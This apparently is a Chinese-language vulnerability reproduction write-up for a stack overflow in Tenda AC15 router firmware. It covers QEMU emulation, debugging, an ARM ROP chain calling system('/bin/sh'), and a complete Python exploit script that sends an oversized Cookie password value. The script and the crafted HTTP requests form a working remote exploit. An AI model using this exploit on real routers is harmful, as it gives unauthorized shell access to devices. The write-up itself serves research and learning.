TENDA-AC15 型号路由器上的一个漏洞,产生原因是没有限制用户输入,使用 sscanf 直接将输入拷贝到栈上,导致栈溢出。

复现环境

  • 漏洞固件在官网没找着,去百度找到了,地址在这里

    版本号:V15.03.1.16

  • qemu v5.2

  • Ubuntu 18.04

  • ida 7.5

image-20210210113356276

漏洞分析

需要配置好 qemu 桥接网络,不能就去 patch 一下 check_network 的返回值。

设置桥接网络

安装依赖:

1
sudo apt-get install bridge-utils uml-utilities

修改 /etc/network/interfaces 网卡配置文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback

auto ens33
iface ens33 inet manual
up ifconfig ens33 0.0.0.0 up

auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0

修改 qemu 网络脚本 /etc/qemu-ifup 为如下:

1
2
3
4
5
6
7
#! /bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0"
sudo /sbin/brctl addif br0 $1
sleep 3

给脚本加上权限,重启网络服务,如果连不上网可以重启一下:

1
2
3
4
sudo chmod a+x /etc/qemu-ifup
sudo /etc/init.d/networking restart
sudo ifdown ens33
sudo ifup br0

运行程序还是报错,通过字符串定位到 ConnectCfm 函数,看不到函数体,应该是在其他文件定义的,这里也要 patch 改下跳转条件:

image-20210210124651672

然后就能正常运行 httpd 服务(如果 check_network 检查是 patch 解决的,这里 ip 会有点诡异):

image-20210210124735721

R7WebsSecurityHandler 开头打上断点,这个函数处理 /goform/execCommand 的请求:

image-20210210131807628

用 burpsuite 给 /goform/execCommand 发个包,加上 Cookie 的 password 属性,长度弄长点:

1
2
3
4
5
6
7
8
9
10
GET /goform/execCommand HTTP/1.1
Host: 192.168.211.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
Cache-Control: max-age=0

当检索 password 属性后将值经过 sscanf 正则过滤后存放到 v34 的字符串列表局部变量:

image-20210210140543403

继续运行就会报段错误退出:

image-20210210141320615

用 gdb-multiarch 跟一下,查看一下地址信息。发现是在一个 if 判断中退出报错,而不是在 R7WebsSecurityHandler 退出,这样控制程序流有点复杂:

image-20210211012033940

根据规则如果 URL 文件后缀不是 gif 才进入 if 函数体,那么就加一个 .gif 让程序流直接从 R7WebsSecurityHandler 返回,这样控制起来就简单多。

然后用 cycli 生成字符串测量长度,要注意加 1 再算 padding ,得出长度为 447 。成功控制返回地址:

1
'Cookie': password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"

image-20210211232722219

ROP 利用链

arm 返回地址是在 pc 寄存器,不是在栈上。qemu 虚拟机没有随机化地址。

构造出 system('/bin/sh')/bin/sh 长度超过 4 字节,由于对齐要占据 8 字节空间,pop r0,pc gadget 不能直接用了。

先用 pop r3,pc 将 system 放到 r3 ,同时压入 mov r0,sp;blx r3 ,这时 sp 寄存器指向 /bin/sh ,将参数地址移动到 r0 ,然后跳转 r3 地址。

image-20210211234133733

qemu 需要加上 -strace 查看调用:

image-20210211153837937

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import struct
import requests

ip = "192.168.211.7"
command = "/bin/sh\x00"

url = "http://{:s}/goform/exeCommand".format(ip)
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': 'password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"',
'Cache-Control': 'max-age=0'
}

libc = 0x3fde6000
pop_r3_pc = struct.pack("< I",0x00018298+libc)#pop r3 pc
mov_r0_sp_blx_r3 = struct.pack("< I", 0x00040cb8 + libc)# mov r0 sp; blx r3
system = struct.pack("< I", 0x0005A270+libc)
command = command.encode()# 'byte'
password = b"A" * 444+b".gif"+pop_r3_pc+system+mov_r0_sp_blx_r3+command
headers['Cookie']=b"password="+password

try:
response = requests.get(url,headers=headers,timeout=1)
except:
pass

参考文章

https://www.freebuf.com/articles/wireless/166869.html

https://wzt.ac.cn/2019/03/19/CVE-2018-5767/